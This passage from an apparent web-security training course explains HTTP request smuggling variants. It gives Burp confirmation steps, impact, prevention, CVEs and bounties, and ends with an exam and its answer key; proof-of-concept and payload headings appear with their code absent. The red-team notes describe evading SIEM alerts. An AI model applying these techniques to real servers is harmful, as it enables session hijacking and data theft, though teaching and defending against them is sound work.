The back-end ignores the `.css` and returns the user's account page. The cache stores the account page under `/account.css`. Any other user fetching `/account.css` sees the victim's account.
Technique 15. Response queue poisoning (H2.TE)
If you can desync the back-end's response queue, requests and responses pair up wrong. Random users get random responses. With HTTP/2 to the front-end and HTTP/1.1 to the back-end, you smuggle a request that causes the back-end to send TWO responses for one apparent request.
The next user's request triggers a response, but they receive the LEFTOVER response from your smuggling. Random users see admin pages.
Technique 16. H2.CL request smuggling
In HTTP/2, the request length is given by frame size, not by a Content-Length header. But if the front-end forwards the request to an HTTP/1.1 back-end and includes a Content-Length pseudo-header from your HTTP/2 request, you can make the CL lie.
Front-end honors the HTTP/2 frame boundary (DATA frame ends the request). Back-end downgrades to HTTP/1.1, reads `Content-Length: 0`, treats body as empty, and `SMUGGLED` is the start of the next request.
Technique 17. H2.TE request smuggling
HTTP/2 forbids Transfer-Encoding. Some front-ends ignore the rule and forward TE to the back-end. Combined with a downgrade, you can smuggle.
Back-end uses TE, ends at `0\r\n\r\n`, treats `SMUGGLED` as the next request.
Technique 18. HTTP/2 CRLF injection
HTTP/2 uses binary framing, not text. CRLF (`\r\n`) has no special meaning in HTTP/2. But when the front-end downgrades to HTTP/1.1, the back-end DOES treat `\r\n` as a delimiter. Smuggle a header that contains `\r\n` and split the request.
Front-end accepts (HTTP/2 allows arbitrary bytes in header values). Back-end downgrades to:
The back-end now sees TWO requests. The second one is your smuggled `GET /admin`.
Technique 19. HTTP/2 request splitting via CRLF in header name
If the front-end's HTTP/2 parser allows arbitrary bytes in header names (it should not, per RFC 7540, but some do), and the back-end downgrades by joining name and value with `:`, you split the request again.
Technique 20. CL.0 smuggling
The back-end ignores Content-Length entirely for certain HTTP methods or paths (often GET or static files). Anything after the headers is treated as the next request.
The back-end serves the static file (ignoring body), then reads `GET /admin` as the next request. Smuggled.
Technique 21. TE.0 smuggling (Google Cloud 2024)
Some back-ends ignore Transfer-Encoding entirely and treat the body as zero-length. Same exploitation as CL.0 but triggered by TE rather than CL.
The back-end ignores TE, treats body as zero, reads `GET /admin` as the next request.
Technique 22. 0.CL smuggling
The back-end ignores both headers and waits for an explicit chunk terminator OR closes the connection on body. Specific to certain edge cases in HTTP/2 downgrade chains.
Technique 23. Chunk-extension smuggling (CVE-2025-55315 Kestrel)
Chunked encoding allows extensions on the chunk size line, separated by `;`:
Parsers handle extensions differently. Kestrel allowed `\n` (not `\r\n`) to terminate the chunk extension line. The upstream proxy required `\r\n`. Mismatched parsers, smuggling.
Technique 24. OPTIONS + body smuggling (CVE-2025-54142 Akamai)
The OPTIONS HTTP method does not normally carry a body. Some origin servers fail to read the body even if Content-Length is set. The proxy forwards the body but the origin treats it as the next request.
Origin reads `OPTIONS /`, returns Allow header, never consumes body. The body becomes the next request.
Technique 25. Client-side desync (CSD) (CVE-2024-21733 Tomcat)
A normal browser-compatible Content-Length-only request, but the back-end stops reading the body earlier than expected. The leftover bytes desync the browser's own connection. The victim's own browser sends them. No proxy needed.
This requires fetch() with `Connection: keep-alive` and tricking the browser into reusing the desynced connection. Browser-powered. Requires no front-end vulnerability.
Technique 26. Pause-based desync (server-side)
You start sending a chunked request but pause mid-stream. The front-end times out the read and closes the back-end connection. But before closing, leftover bytes have already been sent. The next request on the same back-end connection (in another front-end thread) gets the leftover.
Requires precise timing control. Burp Turbo Intruder is essential here.
Technique 27. HTTP/2 request tunnelling
Through HTTP/2-to-HTTP/1.1 downgrade, you can tunnel a complete second request inside what the front-end sees as one request. The back-end treats it as two. This is broader than smuggling: even non-smuggling-vulnerable back-ends can be tunnelled if the front-end fails to validate downgraded requests.
Technique 28. CL.TE with chunked extensions for WAF bypass
You combine CL.TE with chunk extensions to defeat WAF inspection of the body. The WAF reads the first chunk only. The back-end reads further and processes a smuggled SQL injection.
WAF reads `abc` (clean). Back-end keeps reading and sees the SQL.
Technique 29. Parser-discrepancy fuzzing (2025 frontier)
The newest vectors come from fuzzing parser pairs against each other. Tools like smugglefuzz, the Smuggler v3 in Burp, and Kettle's Turbo Intruder scripts test thousands of header permutations to find any one-bit difference between parsers.
You will not invent these by hand. Run the tools and look for "Confirmed" results. The novel vectors that come out are 0-days.
Technique 30. ALPN protocol confusion
If the front-end speaks HTTP/2 but the back-end accepts HTTP/1.1 cleartext on the same port, sometimes via ALPN misconfiguration you can speak HTTP/1.1 to a port expecting HTTP/2. Mixed-protocol smuggling.
SECTION 12. Proof of Concept
A clean PoC for CL.TE smuggling in five languages and tool integrations.
Burp Suite step by step (CL.TE confirmation PoC)
- ●1. Open Burp Suite Pro. Proxy through Burp. Browse the target.
- ●2. Send a POST request to Repeater.
- ●3. In Repeater ==> Inspector ==> Request attributes ==> Protocol: change to HTTP/1.1.
- ●4. Repeater menu ==> uncheck "Update Content-Length".
- ●5. Enable "Show non-printables" (top right toolbar).
- ●6. Replace the request body with the CL.TE confirmation payload:
- ●7. Make sure there are exactly two `\r\n` after `Transfer-Encoding: chunked` (one to end the header, one to separate from body).
- ●8. After `0` make sure there is `\r\n\r\n` (the chunk terminator).
- ●9. After `X-foo: X` make sure there is `\r\n` (so the header is well-formed).
- ●10. Click Send TWICE in rapid succession. The first send returns 200 OK. The second send returns 404 Not Found. Smuggling confirmed.
If the second send does NOT return 404, count your bytes again. The most common mistake is wrong `Content-Length`. Each `\r\n` is 2 bytes. Spaces are 1 byte each.
Python PoC (raw sockets)
Bash PoC
Look for two `HTTP/1.1` lines. The second should be `HTTP/1.1 404`.
PowerShell PoC
Node.js PoC
Burp Turbo Intruder PoC for pause-based desync
Run inside Burp ==> Extender ==> Turbo Intruder.
SECTION 13. Payloads
Smuggling payloads have to be precise. Every `\r\n` is 2 bytes. Wrong counts mean no exploit. Organized by tier.
Tier 1: Basic detection probes
Tier 2: TE.TE obfuscation library
Tier 3: Advanced attack payloads
Tier 4: WAF bypass via smuggling tunnel
Tier 5: 2025 frontier payloads (parser discrepancy)
These exploit specific 2025 CVEs. Use Burp Smuggler v3 to actually find them; these are the patterns.
SECTION 14. Wordlists and Payload Libraries
- ●PayloadsAllTheThings - HTTP Request Smuggling ==> https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Request%20Smuggling
- ●HackTricks - HTTP Connection Request Smuggling ==> https://hacktricks.wiki/en/pentesting-web/http-connection-request-smuggling.html
- ●HackTricks - HTTP Request Smuggling / HTTP Desync Attack ==> https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/http-request-smuggling
- ●defparam smuggler.py ==> https://github.com/defparam/smuggler
- ●BishopFox h2cSmuggler ==> https://github.com/BishopFox/h2csmuggler
- ●smugglefuzz (Microsoft) ==> https://github.com/microsoft/smugglefuzz
- ●SecLists - HTTP fuzzing wordlists ==> https://github.com/danielmiessler/SecLists/tree/master/Fuzzing
- ●Anas Magane Pentesting Notes - HTTP Smuggling ==> https://github.com/Anas-Magane/Pentesting/tree/main/TOP_10_OWASP
SECTION 15. Impact
Smuggling almost never has "low" impact. The minimum is bypassing a WAF; the maximum is full account takeover for every user behind the load balancer.
- ●1. Bypassing security controls at the front-end (WAF, rate limiting, path filters, authentication enforced at the edge).
- ●2. Bypassing IP-based access restrictions by spoofing Host header to the back-end.
- ●3. Capturing other users' HTTP requests including cookies, Authorization headers, API keys, CSRF tokens.
- ●4. Hijacking authenticated sessions and performing actions as another user.
- ●5. Delivering reflected XSS to other users (turning self-XSS into universal XSS).
- ●6. Stored XSS through cache poisoning (every visitor sees the malicious response).
- ●7. Web cache deception (caching one user's private data under a public URL).
- ●8. Response queue poisoning (random users receive admin pages, errors, or other users' data).
- ●9. Tunneling SQL injection, command injection, XXE, or any other payload past the front-end WAF.
- ●10. CSRF token theft and replay.
- ●11. OAuth token theft via smuggling the OAuth redirect.
- ●12. Account takeover through cookie capture.
- ●13. Mass phishing via cache-poisoned redirects.
- ●14. Internal SSRF: tunneling requests to internal services the front-end blocks.
- ●15. Denial of service: poisoning the response queue can cause cascading failures.
Real-world bounty payouts for smuggling alone range from $250 (minor variants) to $7,500+ on major bug bounty programs. Chains add 2x to 10x to the base. The Cloudflare hex-encoding smuggling earned $6,000 (HackerOne report 1478633). The Apache Tomcat CVE-2024-21733 disclosure earned $4,660 from Internet Bug Bounty. Basecamp paid $7,500 for HTTP/2 smuggling. The 2024 Google Cloud TE.0 disclosure paid $8,500.
SECTION 16. Prevention
Vulnerable architecture vs secure architecture
Vulnerable Nginx config vs secure Nginx config
The fix explained
The core fix is to make the front-end and the back-end speak the same protocol with no ambiguity. There are three layers.
- ●Protocol layer. Use HTTP/2 end to end. HTTP/2 uses binary frames with explicit length, no string-based headers for length. No CL vs TE conflict. Disable HTTP downgrading wherever possible.
- ●Proxy layer. If you must downgrade, normalize headers at the edge: reject requests with both Content-Length and Transfer-Encoding; reject requests with obfuscated headers; close the back-end connection on any error; disable connection reuse to the back-end.
- ●Server layer. Keep every server in the chain patched. New smuggling CVEs come out monthly. Subscribe to security advisories for your CDN, your reverse proxy, your app server, and your runtime.
The 8 prevention rules
- ●1. Use HTTP/2 end to end where possible. Disable HTTP downgrading.
- ●2. Reject any request that has both Content-Length and Transfer-Encoding headers.
- ●3. Reject any request with obfuscated Transfer-Encoding (whitespace, mixed case anomalies, line folding, unknown prefixes).
- ●4. Normalize headers at the front-end: strip duplicates, canonicalize names, reject ambiguity, then forward only the normalized version.
- ●5. Disable connection reuse to the back-end. Worse performance, smuggling-safe.
- ●6. Use exactly the same web server software at both ends so they agree on parsing.
- ●7. Close the back-end TCP connection on any parsing error, before the leftover bytes can poison the next request.
- ●8. Enforce all critical security checks (auth, host validation, rate limiting) at the back-end too, never assume the front-end has done it.
Developer checklist
Framework-specific secure examples
Node.js (Express, Node 20+):
Apache Tomcat: upgrade to 10.1.16+ or 9.0.83+. Set the strict parsing options:
Spring Boot: use embedded Tomcat 10.1.16+ AND validate at the web filter layer:
Python (Gunicorn / FastAPI): Gunicorn 23+ rejects ambiguity. Add a middleware:
Cloudflare: Cloudflare normalizes by default but enable the "HTTP/2 to origin" setting (Cloudflare ==> SSL/TLS ==> Edge Certificates ==> HTTP/2 to Origin).
AWS: enable ALB's HTTP/2 to target on the listener. Ensure target group health checks do not bypass the validation path.
Enterprise-level mitigations
- ●Deploy a request normalization layer (such as ModSecurity 3.x with Core Rule Set) that explicitly drops ambiguous-length requests.
- ●Use a Service Mesh (Istio, Linkerd) for east-west traffic to enforce HTTP/2 between services.
- ●Subscribe to your CDN's security advisories. Akamai, Cloudflare, AWS, Google all publish patch notes that touch smuggling regularly.
- ●Schedule quarterly tabletop incident response exercises that include smuggling chains.
- ●Tag every smuggling-related ticket with the variant (CL.TE, TE.CL, etc.) so trend analysis is possible.
- ●Run continuous fuzzing of your edge using Microsoft's smugglefuzz against a staging clone.
SECTION 17. Real-World Cases
CVEs
- ●CVE-2025-55315 (CVSS 9.x) ==> ASP.NET Core Kestrel chunk-extension smuggling. Disclosed October 2025. Different handling of `\r`, `\n`, and `\r\n` inside chunk extensions allowed smuggling on every Kestrel-fronted application. Patched in .NET 8.0.x and 9.0.x. See https://nvd.nist.gov/vuln/detail/CVE-2025-55315
- ●CVE-2025-54142 (CVSS 7.x) ==> Akamai OPTIONS-with-body smuggling. Disclosed August 2025. Akamai forwarded OPTIONS requests with a body to origin; some origins ignored the body, leaving it as smuggling payload. Akamai applied a platform-wide fix (terminate connections on OPTIONS+body) on August 11, 2025.
- ●CVE-2025-43859 (CVSS 8.1) ==> Python h11 library lenient line folding. Multiple Python web stacks (httpx, urllib3 downstream) inherited the bug. Patched in h11 0.16+. See https://nvd.nist.gov/vuln/detail/CVE-2025-43859
- ●CVE-2025-32094 (CVSS 8.3) ==> Akamai OPTIONS combined with obsolete line folding. Disclosed early 2025. Akamai customers using non-compliant origins were exposed. See https://nvd.nist.gov/vuln/detail/CVE-2025-32094
- ●CVE-2024-21733 (CVSS 5.3) ==> Apache Tomcat 8.x and 9.x client-side desync. Browser-powered request smuggling without needing a vulnerable proxy. Patched in Tomcat 9.0.74+ and 10.1.18+. See https://nvd.nist.gov/vuln/detail/CVE-2024-21733
- ●CVE-2023-46589 (CVSS 7.5) ==> Apache Tomcat improper handling of malformed trailer headers in chunked requests. Patched Nov 2023. See https://nvd.nist.gov/vuln/detail/CVE-2023-46589
- ●CVE-2023-45648 (CVSS 5.3) ==> Apache Tomcat improper handling of trailer headers. Patched Oct 2023. See https://nvd.nist.gov/vuln/detail/CVE-2023-45648
- ●CVE-2023-44487 ==> HTTP/2 Rapid Reset. Not pure smuggling, but exploits HTTP/2 stream framing. Together with H2.TE downgrade chains, expanded the smuggling attack surface. See https://nvd.nist.gov/vuln/detail/CVE-2023-44487
- ●CVE-2022-32215 ==> Node.js multi-line Transfer-Encoding parsing led to smuggling. Patched in Node 16.20.0, 18.7.0. See https://nvd.nist.gov/vuln/detail/CVE-2022-32215
- ●CVE-2022-32213 ==> Node.js llhttp ignored chunk extensions, opening smuggling vectors. Patched in Node 16.16.0, 18.5.0. See https://nvd.nist.gov/vuln/detail/CVE-2022-32213
HackerOne disclosures
- ●GSA Bounty $750 ==> "HTTP Request Smuggling on https://labs.data.gov" (159 upvotes). CL.TE on a government site, classic confirm-by-differential-response pattern. See https://hackerone.com/reports/726773
- ●Cloudflare $6,000 ==> "HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() function" (114 upvotes). The Edge Rules engine accepted hexadecimal escape sequences like `\x0a\x0d` in the `concat()` function, which let an attacker inject CRLF and craft a TE.CL smuggling attack. See https://hackerone.com/reports/1478633
- ●Internet Bug Bounty $4,660 ==> Apache Tomcat CVE-2023-45648 disclosure. See https://hackerone.com/reports/2148786
- ●Internet Bug Bounty $4,660 ==> CVE-2024-21733 Apache Tomcat HTTP Request Smuggling (client-side desync).
- ●Cloudflare $3,100 ==> "HTTP request smuggling with Origin Rules using newlines in the host_header action parameter" (46 upvotes).
- ●Apache HTTP Server $2,400 ==> "mod_proxy_ajp: Possible request smuggling" (21 upvotes).
- ●Internet Bug Bounty $1,800 ==> "CVE-2022-32215 HTTP Request Smuggling Due to Incorrect Parsing of Multi-line Transfer-Encoding".
- ●Internet Bug Bounty $1,800 ==> "HTTP Request Smuggling Due to Incorrect Parsing of Header Fields".
- ●Internet Bug Bounty $1,800 ==> "HTTP Request Smuggling via Empty headers separated by CR".
- ●Basecamp $7,500 ==> HTTP/2 request smuggling. Among the top-paying smuggling bounties ever on the Basecamp program.
- ●Basecamp $1,737 ==> Unauthenticated request smuggling on launchpad.37signals.com.
- ●Basecamp $1,700 ==> HTTP request smuggling on Basecamp 2 allows web cache poisoning.
- ●Lob $500 ==> HTTP Request Smuggling on vpn.lob.com (123 upvotes).
- ●Visma Public $500 ==> HTTP Request Smuggling at app.workbox.dk (139 upvotes).
- ●Razer $375 ==> Request Smuggling via vulnerable skipper reverse proxy.
- ●X / xAI $560 ==> http request smuggling in pscp.tv and periscope.tv.
- ●Helium $bounty (private amount) ==> CL.TE on console.helium.com. See https://hackerone.com/reports/867952
- ●Google Cloud $8,500 ==> 2024 TE.0 smuggling on Google Load Balancer affecting thousands of GCP customers. Disclosed via VRP, partially overlapping with a prior internal report.
Notable historical milestones
- ●2005 ==> Original "HTTP Request Smuggling" paper by Watchfire (Linhart, Klein, Heled, Orrin). The technique was named, the CL/TE conflict was documented, and the bug class was born.
- ●2019 ==> "HTTP Desync Attacks: Request Smuggling Reborn" by James Kettle. Brought the technique back into mainstream awareness, demonstrated impact on PayPal, Akamai, Cisco, F5 BIG-IP. Multiple six-figure bounties.
- ●2021 ==> "HTTP/2: The Sequel is Always Worse" by James Kettle. Introduced H2.CL, H2.TE, H2.TE.CL chains. Demonstrated attacks against Atlassian, Netflix, AWS, Google Cloud.
- ●2022 ==> "Browser-Powered Desync Attacks" by James Kettle. Client-side desync (CSD) and pause-based desync. No vulnerable proxy needed; the victim's own browser is the attacker.
- ●2023-2024 ==> CL.0 cluster, TE.0 cluster. New variants by community researchers.
- ●2024 ==> Google Cloud TE.0 disclosure. Thousands of websites affected. $8,500 bounty.
- ●2025 ==> Chunk-extension smuggling (CVE-2025-55315) drops new vectors against Kestrel/.NET. OPTIONS+body smuggling (CVE-2025-54142) on Akamai. Parser-discrepancy fuzzing emerges as the dominant technique for finding new variants.
Lessons learned
- ●Smuggling lives in infrastructure, not application code. Patch your servers; do not just review your app.
- ●Every new HTTP feature (HTTP/2, HTTP/3, gRPC, WebTransport) ships with smuggling variants within 1-2 years.
- ●The bounty ladder is steep: $250 for a duplicate, $7,500+ for a chain on a top-50 site.
- ●Confirmation matters. "Probable" results from automated scanners produce noise. "Confirmed" with a differential response produces bounties.
- ●Reading James Kettle's research papers in order is the fastest learning path. Five hours invested pays off as years of bug bounty income.
SECTION 18. References
- ●OWASP - HTTP Request Smuggling ==> https://owasp.org/www-community/attacks/HTTP_Request_Smuggling
- ●CWE-444: Inconsistent Interpretation of HTTP Requests ==> https://cwe.mitre.org/data/definitions/444.html
- ●CAPEC-33: HTTP Request Smuggling ==> https://capec.mitre.org/data/definitions/33.html
- ●HackTricks - HTTP Connection Request Smuggling ==> https://hacktricks.wiki/en/pentesting-web/http-connection-request-smuggling.html
- ●HackTricks - HTTP Request Smuggling ==> https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/http-request-smuggling
- ●PayloadsAllTheThings - Request Smuggling ==> https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Request%20Smuggling
- ●defparam smuggler ==> https://github.com/defparam/smuggler
- ●BishopFox h2cSmuggler ==> https://github.com/BishopFox/h2csmuggler
- ●Microsoft smugglefuzz ==> https://github.com/microsoft/smugglefuzz
- ●RFC 9112 (HTTP/1.1) section 6 (Message Body Length) ==> https://www.rfc-editor.org/rfc/rfc9112#section-6
- ●RFC 9113 (HTTP/2) ==> https://www.rfc-editor.org/rfc/rfc9113
- ●RFC 9114 (HTTP/3) ==> https://www.rfc-editor.org/rfc/rfc9114
- ●Akamai CVE-2025-54142 advisory ==> https://www.akamai.com/blog/security-research/advisory-cve-2025-54142-http-request-smuggling-via-options-body
- ●F5 DevCentral - CVE-2025-55315 chunk-extension smuggling ==> https://community.f5.com/kb/security-insights/http-request-smuggling-using-chunk-extensions-cve-2025-55315/344118
- ●YesWeHack - Ultimate Bug Bounty guide to HTTP request smuggling ==> https://www.yeswehack.com/learn-bug-bounty/http-request-smuggling-guide-vulnerabilities
- ●Reddelexc HackerOne Reports - Top Smuggling Reports ==> https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPREQUESTSMUGGLING.md
- ●Anas Magane Pentesting Notes ==> https://github.com/Anas-Magane/Pentesting/tree/main/TOP_10_OWASP
SECTION 19. Practical Labs
SOON.
Critical Burp tip for every smuggling exercise
- ●1. In Repeater, switch from HTTP/2 to HTTP/1.1 (Inspector ==> Request attributes ==> Protocol).
- ●2. In Repeater menu, uncheck "Update Content-Length" so you control byte counts.
- ●3. Enable "Show non-printables" (toolbar) so you can see `\r\n` boundaries.
- ●4. Change the method to POST so both `Content-Length` and `Transfer-Encoding` headers are accepted naturally.
- ●5. Count every byte. A space is 1 byte, `\r\n` is 2 bytes. If counts are off, the exploit silently fails. Sinon t9dr tbdllha nta ela hassab kolla chars wla espace b 1.
- ●6. Always end the smuggled request with a junk header (`X-foo: X\r\n`) so the back-end has a buffer to consume before the next real request glues on.
SECTION 20. Cheat Sheet
SECTION 21. Exam
Thirty multiple-choice questions. Each tests a specific concept from the course. Aim for 24+ out of 30 to pass.
- ●1. HTTP request smuggling exploits a disagreement between which two components?
A) Browser and proxy B) Front-end and back-end servers C) DNS and CDN D) Database and application
- ●2. Which two HTTP/1.1 headers can both indicate body length?
A) Content-Type and Accept B) Host and Origin C) Content-Length and Transfer-Encoding D) Authorization and Cookie
- ●3. Per RFC 9112, if both Content-Length and Transfer-Encoding are present, the server must:
A) Use Content-Length B) Use Transfer-Encoding C) Reject the request D) Either B or C
- ●4. In CL.TE smuggling, the front-end uses:
A) Transfer-Encoding only B) Content-Length, back-end uses Transfer-Encoding C) Both, then chooses TE D) Neither
- ●5. In TE.CL smuggling, the back-end uses:
A) Transfer-Encoding B) Content-Length C) Host header D) None of the above
- ●6. What does "TE.TE" mean?
A) Both servers use Transfer-Encoding but one is induced to ignore the header through obfuscation B) Front-end ignores TE, back-end uses TE C) Both servers reject TE D) Transfer-Encoding is doubled in the body
- ●7. Which HTTP version is inherently immune to classic request smuggling when used end to end?
A) HTTP/1.0 B) HTTP/1.1 C) HTTP/2 D) None of them
- ●8. What is HTTP downgrade in the smuggling context?
A) Reducing the HTTP version on response B) Front-end speaks HTTP/2 to client, HTTP/1.1 to back-end C) Disabling HTTPS D) Browser falling back to HTTP
- ●9. The CWE for HTTP request smuggling is:
A) CWE-79 B) CWE-89 C) CWE-444 D) CWE-22
- ●10. The CAPEC ID for HTTP request smuggling is:
A) CAPEC-1 B) CAPEC-33 C) CAPEC-66 D) CAPEC-77
- ●11. A classic CL.TE confirmation payload puts a fake header at the end (`X-foo: X`) so that:
A) The WAF allows it B) The back-end has a buffer to swallow the next request's leading bytes C) The browser caches it D) DNS resolves correctly
- ●12. Which Burp Suite setting must be DISABLED to send smuggling payloads correctly?
A) Show non-printables B) Update Content-Length C) Intercept D) Use HTTP/2
- ●13. Which Burp Suite setting must be ENABLED to see chunk boundaries clearly?
A) Show non-printables B) Update Content-Length C) Auto-decode D) Display in hex
- ●14. The protocol switch in Burp Repeater (from HTTP/2 to HTTP/1.1) is found in:
A) Inspector ==> Request attributes ==> Protocol B) Settings ==> Network C) Project options ==> Connections D) Extender ==> APIs
- ●15. CVE-2025-55315 affects which web server?
A) Apache B) Nginx C) Kestrel (.NET) D) Tomcat
- ●16. CVE-2025-54142 was caused by:
A) Akamai forwarding OPTIONS requests with a body that origins did not consume B) Tomcat trailer header mishandling C) Node.js llhttp parser bug D) Python h11 line folding
- ●17. The 2024 Google Cloud Load Balancer disclosure was a:
A) CL.TE smuggling B) CL.0 smuggling C) TE.0 smuggling D) H2.CL smuggling
- ●18. James Kettle's foundational 2019 paper was titled:
A) HTTP/2 The Sequel Is Always Worse B) HTTP Desync Attacks: Request Smuggling Reborn C) Browser-Powered Desync Attacks D) HTTP/1.1 Must Die
- ●19. Web cache poisoning via smuggling stores:
A) A redirect or malicious response under a popular URL's cache key B) The attacker's IP in DNS C) JavaScript in the browser disk cache D) None of these
- ●20. Response queue poisoning causes:
A) The back-end to reject all requests B) Random users to receive responses meant for other users C) The cache to expire D) The TLS handshake to fail
- ●21. The best universal fix for HTTP request smuggling is:
A) Use a WAF B) Use HTTP/2 end to end C) Disable cookies D) Block all POST requests
- ●22. Disabling back-end connection reuse (no keepalive to upstream):
A) Worsens performance but mitigates many smuggling exploits B) Has no effect on smuggling C) Enables smuggling D) Breaks HTTPS
- ●23. Client-side desync (CSD) is exploitable through:
A) A vulnerable browser cache only B) The victim's own browser reusing a desynced connection C) DNS rebinding D) JavaScript prototype pollution
- ●24. Chunk-extension smuggling (CVE-2025-55315) exploits inconsistent handling of:
A) Content-Type headers B) `\r`, `\n`, and `\r\n` in chunk extension lines C) HTTP/3 stream framing D) WebSocket upgrade headers
- ●25. To capture another user's request via smuggling, the attacker usually:
A) Smuggles a POST with a Content-Length larger than the actual body so the next user's request bytes fill the gap B) Floods the server with requests C) Hijacks the DNS for the user's domain D) Steals their browser cookies via XSS
- ●26. A timing-based detection probe relies on:
A) The back-end timing out while waiting for more body bytes B) The DNS TTL expiring C) TCP retransmission D) HTTPS renegotiation
- ●27. The "X-foo: X" trailing header in a smuggling payload is:
A) A real header parsed by the back-end B) A junk header used to consume leading bytes of the next request and avoid parser errors C) Required by RFC 9112 D) Encrypted
- ●28. Which of these is NOT a standard smuggling variant?
A) CL.TE B) TE.CL C) UDP.TE D) H2.CL
- ●29. The recommended approach to verify smuggling and avoid false positives is:
A) Trust the timing probe B) Run a vulnerability scanner once C) Confirm with a differential response (e.g., a follow-up 404) D) Ask the developer
- ●30. Mass-impact smuggling attacks typically chain into:
A) DNS hijacking only B) Cache poisoning, response queue poisoning, or stored XSS C) Browser cookie theft only D) Phone phishing
Answer key
- ●1.B 2.C 3.D 4.B 5.B 6.A 7.C 8.B 9.C 10.B
- ●11.B 12.B 13.A 14.A 15.C 16.A 17.C 18.B 19.A 20.B
- ●21.B 22.A 23.B 24.B 25.A 26.A 27.B 28.C 29.C 30.B
Scoring
- ●27-30 correct ==> Expert. You can hunt smuggling on real targets today.
- ●24-26 correct ==> Solid. Practice on a live bug bounty target.
- ●19-23 correct ==> Re-read sections 2, 3, and 11. Then retry the exam.
- ●Below 19 ==> Retake the course from Section 1.
SECTION 22. Certificate Requirements
To earn the ANAS EDUCATION HTTP Request Smuggling certificate:
- ●Complete all 24 sections of this course.
- ●Complete all ANAS EDUCATION smuggling labs (released as SOON).
- ●Pass this exam with at least 24 out of 30 correct.
SECTION 23. Important Notes
Common Beginner Mistakes
- ●Counting bytes wrong. Each `\r\n` is 2 bytes, each space is 1 byte. If you set Content-Length to 32 but your payload is 33 bytes, the exploit silently fails. Use Burp's "Show non-printables" toolbar and count manually until it becomes second nature.
- ●Forgetting to disable "Update Content-Length" in Burp Repeater. Burp will helpfully recalculate the header for you and break every smuggling payload. Turn it off the first time you open Repeater and never turn it on again for this work.
- ●Testing on HTTP/2. Classic CL.TE and TE.CL only work on HTTP/1.1. Switch the protocol in Burp Repeater (Inspector ==> Request attributes ==> Protocol) before sending the probe.
- ●Reporting smuggling on timing alone. Many networks have natural latency variation. Always confirm with a differential response (a follow-up request that returns a clearly different status code).
- ●Missing the trailing `X-foo: X` junk header. Without it, the back-end may parse the leading bytes of the next real request as a broken header and close the connection. Smuggling fails silently.
- ●Assuming smuggling does not exist because "the site uses Cloudflare". Cloudflare itself has had multiple smuggling CVEs and pays $3,000+ bounties for them.
Pentester Tips
- ●Always start a smuggling assessment by enumerating the architecture. Read `Via`, `X-Cache`, `Server`, `CF-Ray` headers. If you cannot identify both a front-end and a back-end, you are unlikely to find smuggling.
- ●Run Burp HTTP Request Smuggler v3's "Smuggle probe" on every POST endpoint as one of the first scans you do. The tool eliminates most false positives if you set it to look for "Confirmed".
- ●Smuggling is one of the few bug classes where you should NOT proxy the test through Burp's main proxy listener AT THE SAME TIME as Repeater. Use Repeater only, on a clean connection. Otherwise Burp may interfere with the byte boundary you need.
- ●When testing TE.CL, you may need to send the request twice in quick succession. The first establishes the desync; the second observes the result. Manually pressing Send twice within 200ms in Repeater is enough.
Bug Bounty Tips
- ●Smuggling bounties scale with impact. A raw "I can smuggle a 404" is worth $250 to $750. A "I can capture other users' requests" is worth $1,500 to $3,000. A "I can poison the cache for all users" is worth $5,000+. Always escalate before reporting.
- ●Document the confirmation step carefully in your report. Programs often have triagers who have never seen smuggling. Show two screenshots: the smuggling request, and the follow-up request returning a different status.
- ●Save your raw Burp Repeater payloads as `.txt` files and attach them to the report. Programs need to reproduce; vague descriptions get marked Informational.
- ●Programs increasingly run their own smuggling scanners. If you find a bug, report fast. Duplicate windows for smuggling can be hours.
- ●Bonus impact: smuggling + Host header attacks (SSRF, password reset poisoning) usually doubles the bounty.
Red Team Notes
- ●Smuggling is one of the cleanest red team techniques because there is rarely a defender alert for it. Standard SIEMs do not understand the protocol-level subtlety.
- ●Use smuggling to bypass network detection: your inner request appears to come from the trusted front-end load balancer. To the back-end's logs, the request is internal.
- ●Combine with internal SSRF for lateral movement. If the back-end's `/admin/internal` is reachable only from the front-end IP, smuggling gives you that IP automatically.
- ●Be careful about denial-of-service. Smuggling can crash the back-end if the smuggled request is malformed enough. Test on a staging environment first.
Defender Tips
- ●Alert on 400/502 spikes from your back-end. Smuggling experiments often produce these as side effects.
- ●Run quarterly automated smuggling scans against your own production using Burp Enterprise or smugglefuzz against a staging clone.
- ●Monitor for ambiguous-length-header requests at the WAF and log them. A single client sending CL+TE consistently is a red flag.
- ●Patch your CDN, reverse proxy, app server, and runtime within 14 days of any smuggling-related CVE. New variants ship every few months.
Things to Remember During Exams
- ●Memorize the variants: CL.TE, TE.CL, TE.TE, CL.0, TE.0, H2.CL, H2.TE.
- ●Memorize the CWE: 444.
- ●Memorize the spec rule: when both headers are present, prefer TE (or reject).
- ●Memorize the timing probe shapes (Section 11 techniques 1 and 2).
- ●Memorize the Burp checklist: HTTP/1.1, Update CL off, Show non-printables on, POST method.
Frequently Confused Concepts
- ●Request smuggling vs. response splitting. Smuggling injects a request into the back-end's input stream. Response splitting injects bytes into the back-end's response stream. Different bug, both involve CRLF.
- ●Smuggling vs. pipelining. HTTP pipelining is a legitimate feature where multiple requests share a connection. Smuggling is the abuse of parser disagreements on the boundary between pipelined requests. Modern researchers (and the YesWeHack/SquidSec articles) note that many "smuggling" reports in 2025 are just legitimate pipelining; confirm with a differential response.
- ●Smuggling vs. cache poisoning. Cache poisoning is one possible impact OF smuggling. The other direction is also true: smuggling is one of multiple ways to achieve cache poisoning. Do not confuse the technique with the impact.
- ●CL.0 vs. TE.0. CL.0: back-end ignores the Content-Length header and reads body as zero length. TE.0: back-end ignores the Transfer-Encoding header similarly. Different headers, same "ignore body" pattern.
- ●Client-side desync vs. server-side desync. Server-side desync requires a vulnerable proxy chain. Client-side desync (CSD) needs only a vulnerable back-end and a victim's browser; the browser itself reuses the desynced connection.
Interview Tips
- ●If asked "what is HTTP request smuggling", start with the one-sentence definition: "It is an attack where the front-end and back-end servers disagree about where one HTTP request ends and the next begins, letting an attacker inject a hidden second request that gets glued onto the next user's traffic."
- ●If asked "how do you find it", say "Timing probe for CL.TE and TE.CL, then confirm with a differential response. Burp HTTP Request Smuggler v3 automates this and only flags Confirmed results."
